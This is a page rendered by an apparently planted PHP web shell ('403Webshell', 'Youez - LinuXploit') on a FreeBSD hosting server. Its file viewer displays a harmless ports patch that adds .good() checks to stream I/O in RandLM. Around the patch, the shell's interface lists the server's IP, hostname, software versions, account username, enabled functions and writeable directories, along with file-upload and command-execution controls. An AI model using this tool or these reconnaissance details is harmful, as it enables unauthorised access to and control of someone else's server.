403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.216.89
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/textproc/randlm/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/textproc/randlm/files/patch-src-RandLM-RandLMFilter.h
--- src/RandLM/RandLMFilter.h.orig	2014-09-01 18:07:56.000000000 +0400
+++ src/RandLM/RandLMFilter.h	2014-09-01 18:08:39.000000000 +0400
@@ -289,7 +289,7 @@ namespace randlm {
       std::cerr << "Saved ResizedBitFilter. Rho = " << rho() << "." << std::endl;
       assert(fout->write((char*)&old_addresses_, sizeof(old_addresses_)));
       assert(fout->write((char*)&a_, sizeof(a_)));
-      return fout->write((char*)&b_, sizeof(b_));
+      return fout->write((char*)&b_, sizeof(b_)).good();
     }
   protected:
     bool load(RandLMFile* fin) {
@@ -297,7 +297,7 @@ namespace randlm {
       std::cerr << "Loaded ResizedBitFilter. Rho = " << rho() << "." << std::endl;
       assert(fin->read((char*)&old_addresses_, sizeof(old_addresses_)));
       assert(fin->read((char*)&a_, sizeof(a_)));
-      return fin->read((char*)&b_, sizeof(b_));
+      return fin->read((char*)&b_, sizeof(b_)).good();
     }
     // member data
     uint64_t old_addresses_;  // size of pre-resized filter
@@ -342,11 +342,11 @@ namespace randlm {
     }
     bool save(RandLMFile* fout) {
       assert(Filter<T>::save(fout));
-      return fout->write((char*)&wrap_around_, sizeof(wrap_around_));
+      return fout->write((char*)&wrap_around_, sizeof(wrap_around_)).good();
     }
     private:
     bool load(RandLMFile* fin) {
-      return fin->read((char*)&wrap_around_, sizeof(wrap_around_));
+      return fin->read((char*)&wrap_around_, sizeof(wrap_around_)).good();
     }
     inline bool incrementSubCell(int bit, int len, T* cell) {
       // increment counter consisting of bits [startbit, startbit + len - 1] rest stays unchanged

Youez - 2016 - github.com/yon3zu
LinuXploit